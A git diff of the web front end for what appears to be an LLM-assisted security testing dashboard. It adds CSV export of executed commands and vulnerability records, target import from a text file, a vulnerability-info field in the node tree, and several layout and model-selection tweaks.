@ -635,7 +687,38 @@ async function searchVulnerabilities(page = 1) {
//导出漏洞数据
async function ExportVuls(){
alert("导出漏洞功能实现中。。。")
// Check if in secure context
if (!window.isSecureContext) {
console.error("Page is not in a secure context. Please load the page over HTTPS.");
alert("无法导出文件:请使用 HTTPS 访问页面。");
return;
}
// 如果 dataArr 为空,返回提示
if (!allVuls || allVuls.length === 0) {
alert("没有数据可导出");
return;
}
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csv = "\uFEFF" + "序号,节点路径,漏洞类型,漏洞级别,漏洞说明\n"; // 添加 BOM 防乱码
allVuls.forEach((item, i) => {
csv +=
[
escapeCsvField(item[0] || ""),
escapeCsvField(item[1] || ""),
escapeCsvField(item[2] || ""),
escapeCsvField(item[3] || ""),
escapeCsvField(item[4] || ""),
].join(",") + "\n";
});
const blob = new Blob([csv], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob);
const link = document.createElement("a");
link.href = url;
link.download = "漏洞数据.csv";
link.click();
URL.revokeObjectURL(url);
}
// 绑定漏洞数据查询按钮事件

2
web/main/static/resources/scripts/my_web_socket.js

@ -61,7 +61,7 @@ function initWebSocket() {
// 清空选中状态
selectedNodeData = null;
//刷新界面内容
update_select_node_data_show("-","-","-","-","-",false)
update_select_node_data_show("-","-","-","-","-","-",false)
// 重新加载节点树数据
loadNodeTree(cur_task_id);
}

301
web/main/static/resources/scripts/node_tree.js

@ -1,19 +1,50 @@
// 全局变量,用于保存当前选中的节点数据
let selectedNodeData = null;
/**
* 根据节点数据递归生成树形结构返回 <li> 元素
* 假设节点数据格式
* {
* "node_name":node.name,
* "node_path":node.path,
* "node_status":node.status,
* "node_bwork":node.bwork,
* "node_vultype":node.vul_type,
* "node_vulgrade":node.vul_grade,
* children: [ { ... }, { ... } ]
* }
*/
// 动态加载节点树数据
async function loadNodeTree(task_id) {
// 清空选中状态
selectedNodeData = null;
//刷新界面内容
update_select_node_data_show("-","-","-","-","-","-",false)
try {
const res = await fetch("/api/task/gettree", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ task_id }), //task_id:task_id
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
const treeData = data.tree;
if (!treeData) {
document.getElementById("treeContent").innerHTML =
"<p>无节点数据</p>";
return;
}
// 创建一个 <ul> 作为树的根容器
const ul = document.createElement("ul");
ul.className = "tree-root-ul";
ul.appendChild(generateTreeHTML(treeData)); //递归创建节点树
// 替换节点树容器的内容
const container = document.getElementById("treeContent");
container.innerHTML = "";
container.appendChild(ul);
// 绑定节点点击事件
bindTreeNodeEvents();
} catch (error) {
console.error("加载节点树失败:", error);
document.getElementById("treeContent").innerHTML = "<p>加载节点树失败</p>";
}
}
function generateTreeHTML(nodeData) {
const li = document.createElement("li");
const nodeSpan = document.createElement("span");
@ -25,7 +56,9 @@
nodeSpan.setAttribute("data-node_bwork", nodeData.node_bwork);
nodeSpan.setAttribute("data-node_vultype", nodeData.node_vultype);
nodeSpan.setAttribute("data-node_vulgrade", nodeData.node_vulgrade || "");
nodeSpan.setAttribute("data-node_vulinfo",nodeData.node_vulinfo);
nodeSpan.setAttribute("data-node_workstatus",nodeData.node_workstatus);
//显示界面
if(nodeData.node_workstatus ===0){
nodeSpan.classList.add("no-work");
}else {
@ -41,9 +74,11 @@
nodeSpan.classList.add("vul-high");
}
}
//暂停状态样式
nodeSpan.classList.toggle('status-paused', nodeData.node_bwork === false);
nodeSpan.classList.toggle('status-running', nodeData.node_bwork === true);
// 创建容器用于存放切换图标与文本
const container = document.createElement("div");
container.className = "node-container";
@ -65,7 +100,7 @@
if (nodeData.children && nodeData.children.length > 0) {
const ul = document.createElement("ul");
nodeData.children.forEach((child) => {
ul.appendChild(generateTreeHTML(child));
ul.appendChild(generateTreeHTML(child)); //递归调用
});
li.appendChild(ul);
}
@ -79,8 +114,7 @@
// 阻止事件冒泡,避免点击时展开折叠影响
event.stopPropagation();
// 清除之前选中的节点样式
document
.querySelectorAll(".tree-node.selected")
document.querySelectorAll(".tree-node.selected")
.forEach((node) => node.classList.remove("selected"));
// 当前节点标记为选中
el.classList.add("selected");
@ -91,9 +125,9 @@
const nodebwork = el.getAttribute("data-node_bwork");
const vulType = el.getAttribute("data-node_vultype");
const vulLevel = el.getAttribute("data-node_vulgrade");
const vulInfo = el.getAttribute("data-node_vulinfo");
const workstatus = el.getAttribute("data-node_workstatus");
//selectedNodeData = { nodeName, status, vulType, vulLevel,nodepath,nodebwork };
// 示例中默认填充
//缓存一个选中节点的数据
selectedNodeData = {
node_name: nodeName,
node_path: nodepath,
@ -101,11 +135,13 @@
node_bwork: nodebwork,
vul_type: vulType,
vul_grade: vulLevel || "-",
vul_info:vulInfo,
workstatus: workstatus
};
//刷新界面内容
update_select_node_data_show(nodeName,status,vulType,vulLevel,workstatus,nodebwork)
//刷新节点界面内容
update_select_node_data_show(nodeName,status,vulType,vulLevel,vulInfo,workstatus,nodebwork)
});
// 双击事件:展开/收缩子节点区域
el.addEventListener("dblclick", (event) => {
event.stopPropagation();
@ -127,102 +163,13 @@
});
}
// 动态加载节点树数据
async function loadNodeTree(task_id) {
// 清空选中状态
selectedNodeData = null;
//刷新界面内容
update_select_node_data_show("-","-","-","-","-",false)
try {
const res = await fetch("/api/task/gettree", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ task_id }), //task_id:task_id
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
const treeData = data.tree;
if (!treeData) {
document.getElementById("treeContent").innerHTML =
"<p>无节点数据</p>";
return;
}
// 创建一个 <ul> 作为树的根容器
const ul = document.createElement("ul");
ul.className = "tree-root-ul";
ul.appendChild(generateTreeHTML(treeData));
// 替换节点树容器的内容
const container = document.getElementById("treeContent");
container.innerHTML = "";
container.appendChild(ul);
// 绑定节点点击事件
bindTreeNodeEvents();
} catch (error) {
console.error("加载节点树失败:", error);
document.getElementById("treeContent").innerHTML = "<p>加载节点树失败</p>";
}
}
function getWorkStatus_Str(workstatus){
strworkstatus = ""
switch (workstatus){
case 0:
strworkstatus = "无待执行任务";
break;
case 1:
strworkstatus = "待执行指令中";
break;
case 2:
strworkstatus = "指令执行中";
break;
case 3:
strworkstatus = "待提交llm中";
break;
case 4:
strworkstatus = "提交llm中";
break;
default:
strworkstatus = "-"
}
return strworkstatus
}
//根据web端过来的数据,更新节点的工作状态
function updateTreeNode(node_path, node_workstatus) {
// 根据 node_path 查找对应节点(假设每个 .tree-node 上设置了 data-node_path 属性)
const nodeEl = document.querySelector(`.tree-node[data-node_path="${node_path}"]`);
if (nodeEl) {
// 更新 DOM 属性(属性值均为字符串)
nodeEl.setAttribute("data-node_workstatus", node_workstatus);
//判断是否需要更新界面
if(selectedNodeData){
if(node_path === selectedNodeData.node_path){ //只有是当前选中节点才更新数据
selectedNodeData.workstatus = node_workstatus;
strnew = getWorkStatus_Str(node_workstatus);
work_status_el = document.getElementById("node_workstatus")
work_status_el.textContent = strnew;
work_status_el.classList.toggle('cmd-none',str_workStatus==="无待执行任务");
work_status_el.classList.toggle('cmd-pending',str_workStatus==="待执行指令中");
work_status_el.classList.toggle('cmd-running',str_workStatus==="指令执行中");
work_status_el.classList.toggle('cmd-waiting-llm',str_workStatus==="待提交llm中");
work_status_el.classList.toggle('cmd-submitting-llm',str_workStatus==="提交llm中");
}
}
} else {
console.warn(`未找到节点 ${node_path}`);
}
}
//刷新节点的数据显示
function update_select_node_data_show(nodeName,testStatus,vulType,vulLevel,workStatus,nodebwork){
function update_select_node_data_show(nodeName,testStatus,vulType,vulLevel,vulInfo,workStatus,nodebwork){
document.getElementById("nodeName").textContent = nodeName;
document.getElementById("testStatus").textContent = testStatus;
document.getElementById("node_vulType").textContent = vulType;
document.getElementById("node_vulLevel").textContent = vulLevel;
document.getElementById("node_vulInfo").textContent = vulInfo;
str_workStatus = getWorkStatus_Str(Number(workStatus));
work_status_el = document.getElementById("node_workstatus")
@ -289,6 +236,58 @@
}
}
function getWorkStatus_Str(workstatus){
strworkstatus = ""
switch (workstatus){
case 0:
strworkstatus = "无待执行任务";
break;
case 1:
strworkstatus = "待执行指令中";
break;
case 2:
strworkstatus = "指令执行中";
break;
case 3:
strworkstatus = "待提交llm中";
break;
case 4:
strworkstatus = "提交llm中";
break;
default:
strworkstatus = "-"
}
return strworkstatus
}
//根据web端过来的数据,更新节点的工作状态
function updateTreeNode(node_path, node_workstatus) {
// 根据 node_path 查找对应节点(假设每个 .tree-node 上设置了 data-node_path 属性)
const nodeEl = document.querySelector(`.tree-node[data-node_path="${node_path}"]`);
if (nodeEl) {
// 更新 DOM 属性(属性值均为字符串)
nodeEl.setAttribute("data-node_workstatus", node_workstatus);
//判断是否需要更新界面
if(selectedNodeData){
if(node_path === selectedNodeData.node_path){ //只有是当前选中节点才更新数据
selectedNodeData.workstatus = node_workstatus;
strnew = getWorkStatus_Str(node_workstatus);
work_status_el = document.getElementById("node_workstatus")
work_status_el.textContent = strnew;
work_status_el.classList.toggle('cmd-none',str_workStatus==="无待执行任务");
work_status_el.classList.toggle('cmd-pending',str_workStatus==="待执行指令中");
work_status_el.classList.toggle('cmd-running',str_workStatus==="指令执行中");
work_status_el.classList.toggle('cmd-waiting-llm',str_workStatus==="待提交llm中");
work_status_el.classList.toggle('cmd-submitting-llm',str_workStatus==="提交llm中");
}
}
} else {
console.warn(`未找到节点 ${node_path}`);
}
}
// 刷新按钮事件绑定
document.getElementById("btnRefresh").addEventListener("click", () => {
// 重新加载节点树数据
@ -327,8 +326,8 @@
//更新数据
const selectedEl = document.querySelector(".tree-node.selected");
if (selectedEl) {
//selectedEl.setAttribute("data-node_bwork", newbwork);
selectedEl.dataset.node_bwok = newbwork;
selectedEl.setAttribute("data-node_bwork", newbwork);
//selectedEl.dataset.node_bwok = newbwork;
selectedNodeData.node_bwork = newbwork;
//刷新界面
selectedEl.classList.toggle("status-running", Boolean(newbwork));
@ -389,8 +388,6 @@
}
}
//----------------------查看指令modal----------------------------
let doneInstrs = []; // 已执行指令的所有数据
let todoInstrs = []; // 待执行指令的所有数据
@ -692,41 +689,54 @@ function fallbackCopyTextToClipboard(text) {
// 判断当前是哪个 Tab
const activeTab = document.querySelector("#instrTab button.nav-link.active");
if (activeTab.id === "doneInstrTab") {
exportCurrentPage(doneInstrs, donePage, ["序号", "执行指令", "执行时间", "执行结果"]);
exportCurrentPage(doneInstrs, ["序号", "执行指令", "执行时间", "执行结果"]);
} else {
exportCurrentPage(todoInstrs, todoPage, ["序号", "待执行指令"]);
exportCurrentPage(todoInstrs, ["序号", "待执行指令"]);
}
});
function exportCurrentPage(dataArr, page, headerArr) {
const startIndex = (page - 1) * pageSize;
const endIndex = startIndex + pageSize;
const pageData = dataArr.slice(startIndex, endIndex);
// 处理 CSV 字段,确保特殊字符正确转义
function escapeCsvField(value) {
if (value == null) return "";
const str = String(value).replace(/"/g, '""').replace(/\n/g, " ");
return `"${str}"`; // 用引号包裹字段
}
function exportCurrentPage(dataArr, headerArr) {
// Check if in secure context
if (!window.isSecureContext) {
console.error("Page is not in a secure context. Please load the page over HTTPS.");
alert("无法导出文件:请使用 HTTPS 访问页面。");
return;
}
// 调试:检查 dataArr 内容
//console.log('Exporting dataArr:', dataArr);
// 如果 dataArr 为空,返回提示
if (!dataArr || dataArr.length === 0) {
alert("没有数据可导出");
return;
}
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csvContent = "\uFEFF" + headerArr.join(",") + "\n";
pageData.forEach((item, i) => {
const rowIndex = startIndex + i + 1;
dataArr.forEach((item, i) => {
const rowIndex = i + 1;
if (headerArr.length === 4) {
// 已执行:序号,执行指令,执行时间,执行结果
csvContent += rowIndex + "," +
(item.command || "") + "," +
(item.execTime || "") + "," +
(item.result || "") + "\n";
csvContent +=
[
rowIndex,
escapeCsvField(item[0] || ""), // 调整为实际字段名
escapeCsvField(item[1] || ""),
escapeCsvField(item[2] || ""),
].join(",") + "\n";
} else {
// 待执行:序号,待执行指令
csvContent += rowIndex + "," + (item.command || "") + "\n";
csvContent +=
[rowIndex, escapeCsvField(item.cmd || "")].join(",") + "\n";
}
});
// 如果不足 pageSize 行,补足空行(根据列数进行适当补全)
for (let i = pageData.length; i < pageSize; i++) {
// 根据 headerArr.length 来设置空行的格式
if (headerArr.length === 4) {
csvContent += ",,,\n";
} else {
csvContent += ",\n";
}
}
const blob = new Blob([csvContent], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob);
@ -840,21 +850,14 @@ document.getElementById("submittedNext").addEventListener("click", function(e){
});
// 导出功能:导出当前页已提交数据到 CSV
document.getElementById("btnExportSubmitted").addEventListener("click", function(){
exportSubmittedCurrentPage();
});
// document.getElementById("btnExportSubmitted").addEventListener("click", function(){
// exportSubmittedCurrentPage();
// });
function exportSubmittedCurrentPage(){
const start = (submittedPage - 1) * pageSize;
const end = start + pageSize;
const pageData = submittedMsgs.slice(start, end);
let csv = "\uFEFF" + "序号,角色,内容\n"; // 添加 BOM 防乱码
pageData.forEach((item, i) => {
csv += `${start + i + 1},${item.role},${item.content}\n`;
submittedMsgs.forEach((item, i) => {
csv += `${i + 1},${escapeCsvField(item.role || "")},${escapeCsvField(item.content || "")}\n`;
});
// 补空行
for(let i = pageData.length; i < pageSize; i++){
csv += ",,\n";
}
const blob = new Blob([csv], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob);
const a = document.createElement("a");

108
web/main/static/resources/scripts/task_manager.js

@ -31,7 +31,7 @@ document.addEventListener("DOMContentLoaded", async () => {
set_radio_selection('testMode', 'auto');
setSetpBtnStatus();
//节点树界面初始化
update_select_node_data_show("-","-","-","-","-",false)
update_select_node_data_show("-","-","-","-","-","-",false)
//单选按钮点击事件 ------ 是不是更规范的编程方式,应该把控件事件的添加都放页面加载完成后处理
const autoRadio = document.getElementById("autoMode");
const manualRadio = document.getElementById("manualMode");
@ -77,7 +77,14 @@ async function getTasklist(){
}
const data = await res.json();
task_list = data.tasks
const taskList = document.getElementById("taskList");
updateTasklistShow()
} catch (error) {
console.error("加载任务列表出错:", error);
document.getElementById("taskList").innerHTML = "<p>加载任务列表失败!</p>";
}
}
function updateTasklistShow(){
const taskList = document.getElementById("taskList");
taskList.innerHTML = ""; // 清空“加载中”提示
// 遍历任务数组,生成任务项
task_list.forEach((task) => {
@ -89,6 +96,7 @@ async function getTasklist(){
const targetDiv = document.createElement("div");
targetDiv.className = "task-target";
targetDiv.textContent = task.testTarget;
taskItem.title = task.testTarget; // 加上鼠标悬浮提示
taskItem.appendChild(targetDiv);
// 第二行:测试状态,带缩进
@ -96,6 +104,9 @@ async function getTasklist(){
statusDiv.className = "task-status";
let safeR = getstrsafeR(task.safeRank);
let taskS = getstrTaskS(task.taskStatus);
if (taskS === "执行中") {
taskItem.classList.add("running");
}
statusDiv.textContent = `${taskS}-${safeR}`;
taskItem.appendChild(statusDiv);
@ -113,10 +124,6 @@ async function getTasklist(){
});
taskList.appendChild(taskItem);
});
} catch (error) {
console.error("加载任务列表出错:", error);
document.getElementById("taskList").innerHTML = "<p>加载任务列表失败!</p>";
}
}
//选中tasklist--更新界面数据
@ -126,7 +133,7 @@ function selected_task_item(){
//按钮状态更新
actionButton = document.getElementById("actionButton");
if(cur_task.taskStatus === 0){
actionButton.textContent = "继续";
actionButton.textContent = "启动";
}else if(cur_task.taskStatus === 1){
actionButton.textContent = "暂停";
}else {
@ -218,13 +225,18 @@ async function controlTask(){
alert("请先选择一个任务!")
return
}
if(cur_task.taskStatus === 1){
if (!confirm("确认暂停该任务吗?为保障任务执行,暂停后需要等待工作线程都执行完当前任务并退出后,才可以重新启动! ")){
return
}
}
try {
const res = await fetch("/api/task/taskcontrol", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ cur_task_id }), //task_id:task_id
});
// 新增状态码校验
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
@ -234,7 +246,7 @@ async function controlTask(){
//更新页面
if(newstatus === 0){
document.getElementById("detailTestStatus").textContent = "暂停中";
actionButton.textContent = "继续";
actionButton.textContent = "启动";
}else if(newstatus === 1){
document.getElementById("detailTestStatus").textContent = "执行中";
actionButton.textContent = "暂停";
@ -246,6 +258,7 @@ async function controlTask(){
setSetpBtnStatus();
//更新task_list的显示
updateTaskList();
alert("控制任务状态成功!")
} catch (error) {
console.error("控制任务状态异常:"+error);
alert("控制任务状态异常:"+error);
@ -299,6 +312,11 @@ function updateTaskList(){
if (selectedEl) {
let safeR = getstrsafeR(cur_task.safeRank);
let taskS = getstrTaskS(cur_task.taskStatus);
if (taskS === "执行中") {
selectedEl.classList.add("running");
} else {
selectedEl.classList.remove("running");
}
const statusDiv = selectedEl.querySelector(".task-status");
statusDiv.textContent = `${taskS}-${safeR}`;
}
@ -401,6 +419,13 @@ function renderTableRows(tbody, rowsData) {
}
}
// 处理 CSV 字段,确保特殊字符正确转义
function escapeCsvField(value) {
if (value == null) return "";
const str = String(value).replace(/"/g, '""').replace(/\n/g, " ");
return `"${str}"`; // 用引号包裹字段
}
//--------------------------测试指令-------------------------------
let allInstrs = [];
let currentInstrPage = 1;
@ -449,7 +474,37 @@ async function searchInstructions(page = 1) {
//导出测试指令数据
async function ExportInstructions(){
alert("导出指令功能实现中。。。");
// Check if in secure context
if (!window.isSecureContext) {
console.error("Page is not in a secure context. Please load the page over HTTPS.");
alert("无法导出文件:请使用 HTTPS 访问页面。");
return;
}
// 如果 dataArr 为空,返回提示
if (!allInstrs || allInstrs.length === 0) {
alert("没有数据可导出");
return;
}
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csv = "\uFEFF" + "序号,节点路径,执行指令,执行结果\n"; // 添加 BOM 防乱码
allInstrs.forEach((item, i) => {
csv +=
[
escapeCsvField(item[0] || ""),
escapeCsvField(item[1] || ""),
escapeCsvField(item[3] || ""),
escapeCsvField(item[4] || ""),
].join(",") + "\n";
});
const blob = new Blob([csv], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob);
const link = document.createElement("a");
link.href = url;
link.download = "执行指令.csv";
link.click();
URL.revokeObjectURL(url);
}
// 绑定测试指令查询按钮事件
@ -516,7 +571,38 @@ async function searchVulnerabilities(page = 1) {
//导出漏洞数据
async function ExportVuls(){
alert("导出漏洞功能实现中。。。");
// Check if in secure context
if (!window.isSecureContext) {
console.error("Page is not in a secure context. Please load the page over HTTPS.");
alert("无法导出文件:请使用 HTTPS 访问页面。");
return;
}
// 如果 dataArr 为空,返回提示
if (!allVuls || allVuls.length === 0) {
alert("没有数据可导出");
return;
}
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csv = "\uFEFF" + "序号,节点路径,漏洞类型,漏洞级别,漏洞说明\n"; // 添加 BOM 防乱码
allVuls.forEach((item, i) => {
csv +=
[
escapeCsvField(item[0] || ""),
escapeCsvField(item[1] || ""),
escapeCsvField(item[2] || ""),
escapeCsvField(item[3] || ""),
escapeCsvField(item[4] || ""),
].join(",") + "\n";
});
const blob = new Blob([csv], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob);
const link = document.createElement("a");
link.href = url;
link.download = "漏洞数据.csv";
link.click();
URL.revokeObjectURL(url);
}
// 绑定漏洞数据查询按钮事件

91
web/main/templates/his_task.html

@ -37,16 +37,48 @@
height: 45px;
overflow: hidden;
}
/* 模态框内部最大高度,超出部分滚动 */
.modal-dialog {
max-height: calc(100vh+20px);
.tab-wrapper {
max-height: calc(100vh - 60px - 56px - 66px - 14px);
overflow: hidden; /* 防止溢出 */
}
.modal-content {
max-height: calc(100vh+20px);
.tab-content {
max-height: calc(100vh - 60px - 56px - 66px - 14px - 42px);
overflow: hidden; /* 防止溢出 */
}
.modal-body {
.tab-pane {
max-height: calc(100vh - 60px - 56px - 66px - 14px - 42px);
overflow-x: hidden;
overflow-y: auto;
.row {
max-height: calc(100vh - 60px - 56px - 66px - 14px - 42px - 35px);
overflow: hidden; /* 防止溢出 */
}
.his-node-tree-area {
width: 100%;
max-height: calc(100vh - 60px - 56px - 66px - 14px - 42px - 35px);
border: 1px solid #ddd;
/* overflow: hidden; 超出时出现滚动条 */
overflow-x: auto;
overflow-y: hidden;
background-color: #f8f9fa;
text-align: center; /* 内部 inline-block 居中 */
position: relative;
}
/* 树节点内容区域,不包含刷新按钮 */
.his-tree-content {
max-height: calc(100vh - 60px - 56px - 66px - 14px - 42px - 35px);
overflow-x: auto;
overflow-y: auto;
padding-top: 5px; /* 留出顶部刷新按钮位置 */
/* 关键一行:至少宽度撑满其内部内容 */
min-width: max-content;
}
/* 这里设置页码按钮样式(可根据需要调整) */
.pagination {
margin: 0;
@ -108,6 +140,7 @@
<option value="">使用模型</option>
<option value="1">DeepSeek</option>
<option value="2">GPT-O3</option>
<option value="4">Qwen3</option>
</select>
</div>
<div class="col-2" >
@ -127,13 +160,13 @@
<table class="table table-bordered table-hover" id="histasksTable" style="width: 100%; table-layout: fixed;">
<thead class="table-light">
<tr>
<th style="width: 60px;">ID</th>
<th style="width: 5%;">ID</th>
<th style="width: 20%;">检测目标</th>
<th style="width: 15%;">开始时间</th>
<th style="width: 15%;">结束时间</th>
<th style="width: 15%;">风险等级</th>
<th style="width: 10%;">风险等级</th>
<th style="width: 15%;">使用模型</th>
<th style="width: 100px;">操作</th>
<th style="width: 20%;">操作</th>
</tr>
</thead>
<tbody id="histasksTbody">
@ -189,29 +222,26 @@
</ul>
<div class="tab-content" id="myTabContent">
<!-- 节点树 -->
<div class="tab-pane fade show active p-3 h-100" id="nodeTree" role="tabpanel" aria-labelledby="nodeTreeTab">
<div class="row h-100">
<div class="tab-pane fade show active p-3" id="nodeTree" role="tabpanel" aria-labelledby="nodeTreeTab">
<div class="row">
<!-- 左侧:节点树区域 -->
<div class="col-8 h-100">
<div class="node-tree-area" id="nodeTreeContainer" style="height: 100%; overflow-y: auto; position: relative; background-color: #f8f9fa;">
<!-- 固定刷新按钮 -->
<!-- <div class="refresh-container" style="position: absolute; top: 5px; left: 5px; z-index: 100;">-->
<!-- <button class="tree-refresh btn btn-primary btn-sm" id="btnRefresh" title="刷新节点树">&#x21bb;</button>-->
<!-- </div>-->
<div class="his-node-tree-area" id="nodeTreeContainer">
<!-- 节点树内容 -->
<div id="treeContent" class="tree-content" style="padding-top: 40px;">
<div id="treeContent" class="his-tree-content">
<p id="treeLoadingMsg" style="text-align:center;">加载中...</p>
</div>
</div>
</div>
<!-- 右侧:节点信息与操作 -->
<div class="col-4 h-100">
<div class="node-info-area mb-3" style="padding: 10px;">
<h5>节点信息</h5>
<div class="node-info-area mb-2" style="padding: 10px;">
<!-- <h5>节点信息</h5>-->
<p><strong>节点名称:</strong> <span id="nodeName">-</span></p>
<p><strong>测试状态:</strong> <span id="testStatus">-</span></p>
<p><strong>漏洞类型:</strong> <span id="node_vulType">-</span></p>
<p><strong>漏洞级别:</strong> <span id="node_vulLevel">-</span></p>
<p><strong>漏洞说明:</strong> <span id="node_vulInfo">-</span></p>
<p><strong>工作状态:</strong> <span id="node_bwork">-</span></p>
<p><strong>执行状态:</strong> <span id="node_workstatus">-</span></p>
</div>
@ -455,7 +485,7 @@
<!-- 页面脚本块 -->
{% block script %}
<script src="{{ url_for('main.static', filename='scripts/task_modal.js') }}"></script>
<script src="{{ url_for('main.static', filename='scripts/his_task_modal.js') }}"></script>
<script>
// 全局变量
let cur_task_id = 0;
@ -503,6 +533,9 @@
else if(task[3]===2){
model_test="GPT-O3";
}
else if(task[3]===4){
model_test="Qwen3";
}
else{
model_test="其他模型";
}
@ -510,15 +543,21 @@
tr.appendChild(tdModel);
const tdAction = document.createElement("td");
//报告按钮
const btnReport = document.createElement("button");
btnReport.className = "btn btn-outline-info btn-sm ms-2";
btnReport.textContent = "报告";
btnReport.onclick = () => createReport(task[0]);
tdAction.appendChild(btnReport);
// 查看按钮(点击后弹出 modal)
const btnView = document.createElement("button");
btnView.className = "btn btn-outline-info btn-sm";
btnView.className = "btn btn-outline-info btn-sm ms-2";
btnView.textContent = "查看";
btnView.onclick = () => openViewModal(task[0]);
tdAction.appendChild(btnView);
// 删除按钮(示例)
// 删除按钮
const btnDel = document.createElement("button");
btnDel.className = "btn btn-outline-danger btn-sm ms-1";
btnDel.className = "btn btn-outline-danger btn-sm ms-2";
btnDel.textContent = "删除";
btnDel.onclick = () => confirmDeleteTask(task[0]);
tdAction.appendChild(btnDel);
@ -540,6 +579,10 @@
updatePagination();
}
function createReport(task_id){
alert("导出报告的功能实现中--"+task_id)
}
// 更新分页按钮
function updatePagination() {
const totalPages = Math.ceil(allHistasks.length / pageSize);
@ -600,7 +643,7 @@
const viewModal = new bootstrap.Modal(document.getElementById("viewModal"), { keyboard: false });
viewModal.show();
//查询节点树数据
loadNodeTree(task_id);
his_loadNodeTree(task_id);
//查询指令数据
searchInstructions(1);
//查询漏洞数据

129
web/main/templates/index.html

@ -21,28 +21,20 @@
type="text"
class="form-control"
id="testTarget"
placeholder="输入测试目标"
placeholder="输入测试目标。多目标以,(英文逗号)隔开,或导入txt文件(一行一个目标)"
required
/>
</div>
<!-- cookie 信息输入框,左缩进,非必填 -->
<div class="mb-3">
<div style="margin-left: 20px;margin-bottom: 10px">
<label class="fw-bold" style="font-size:0.9rem">cookie信息 (非必填):</label>
<input
type="text"
class="form-control"
id="cookieInfo"
placeholder="输入cookie信息"
/>
</div>
<!-- 模型选择 -->
<div style="margin-left: 20px; margin-bottom: 10px">
<label class="fw-bold" style="font-size:0.9rem">模型选择:</label>
<select class="form-select" id="modelSelect" style="font-size:0.9rem">
<option value="DeepSeek">DeepSeek</option>
<option value="GPT-O3">GPT-O3</option>
<option value="1">DeepSeek</option>
<option value="2">GPT-O3</option>
<option value="4">Qwen3</option>
</select>
</div>
@ -77,8 +69,11 @@
</div>
</div>
<!-- 隐藏的文件输入框 -->
<input type="file" id="fileInput" accept=".txt" style="display:none;"/>
<!-- 开始按钮,右对齐 -->
<div class="mb-3 text-end">
<button id="addfileButton" class="btn btn-primary">目标文件</button>
<button id="startButton" class="btn btn-primary">开始</button>
</div>
@ -109,12 +104,15 @@
const selectedModel = this.value;
console.log("选择的模型为:" + selectedModel);
// 可根据需要进一步处理选中模型
if(selectedModel === "DeepSeek"){
curmodel = 1
}else if(selectedModel === "GPT-O3"){
curmodel = 2 //暂时用2233.ai接口代替o3
}
else {
if(selectedModel === "1"){
curmodel = 1;
}else if(selectedModel === "2"){
curmodel = 2; //暂时用2233.ai接口代替o3
}else if(selectedModel === "4") {
curmodel = 4;
}else if(selectedModel === "5") {
curmodel = 5;
} else {
alert("模型参数存在问题,请联系管理员!!");
}
});
@ -122,7 +120,6 @@
document.getElementById("startButton").addEventListener("click", async () => {
//取值
const testTarget = document.getElementById("testTarget").value;
const cookieInfo = document.getElementById("cookieInfo").value;
let workType = 0; //0-人工,1-自动
const selected = document.getElementById('manualMode').checked;
if(selected){
@ -136,38 +133,70 @@
return;
}
try {
const response = await fetch("/api/task/start", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
testTarget,
cookieInfo,
workType,
curmodel,
}),
});
// // 状态码校验
// if (!response.ok) {
// const errorData = await res.json();
// throw new Error(errorData.error || `HTTP错误 ${res.status}`);
// }
// 如果后端返回了重定向,则前端自动跳转
if (response.redirected) {
window.location.href = response.url;
} else { //除了跳转,都是返回的错误信息
const data = await response.json();
if (data.error) {
alert(data.error);
}
}
} catch (error) {
console.error("Error:", error);
alert("请求出错,请稍后再试!");
const response = await fetch("/api/task/start", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
testTarget,
workType,
curmodel,
}),
});
// 状态码校验
if (!response.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await response.json();
fail_list = data.fail_list;
if(fail_list.trim() !== ""){
alert("创建任务成功,失败的有:"+fail_list);
}
window.location.href = "/task_manager.html";
} catch (error) {
console.error("Error:", error);
alert("请求出错,请稍后再试!");
}
});
//上传目标文件
const fileInput = document.getElementById('fileInput');
const addfileButton = document.getElementById('addfileButton');
const testTargetInput = document.getElementById('testTarget');
// 点击“目标文件”按钮时触发文件选择
addfileButton.addEventListener('click', () => {
fileInput.value = null; // 允许重复选择同一个文件
fileInput.click();
});
// 文件选中后读取内容、替换换行并填入输入框
fileInput.addEventListener('change', async (e) => {
const file = e.target.files[0];
if (!file) return;
try {
// 现代浏览器支持直接用 File.text()
const text = await file.text();
// 按行拆分、去空行、再用英文逗号拼起来
const targets = text
.split(/\r?\n/) // 按 Unix/Windows 换行拆分
.map(line => line.trim()) // 去掉每行首尾空白
.filter(line => line) // 丢掉空行
.join(',');
// 填入测试目标输入框
testTargetInput.value = targets;
} catch (err) {
console.error('读取文件失败', err);
alert('读取文件失败,请检查文件格式');
}
});
</script>
{% endblock %}

34
web/main/templates/task_manager.html

@ -52,6 +52,11 @@
cursor: pointer;
transition: background-color 0.3s ease, box-shadow 0.3s ease;
}
.task-item.running {
/*border: 2px solid #52c41a;*/
border: 2px solid #1890ff; /* 蓝色边框 */
}
/* 任务项选中状态样式 */
.task-item.selected {
background-color: #e6f7ff;
@ -68,6 +73,9 @@
/* 任务目标样式,第一行 */
.task-target {
font-weight: bold;
white-space: nowrap; /* 不换行 */
overflow: hidden; /* 超出隐藏 */
text-overflow: ellipsis; /* 超出显示... */
}
/* 任务状态,第二行,有缩进 */
.task-status {
@ -202,13 +210,12 @@
</div>
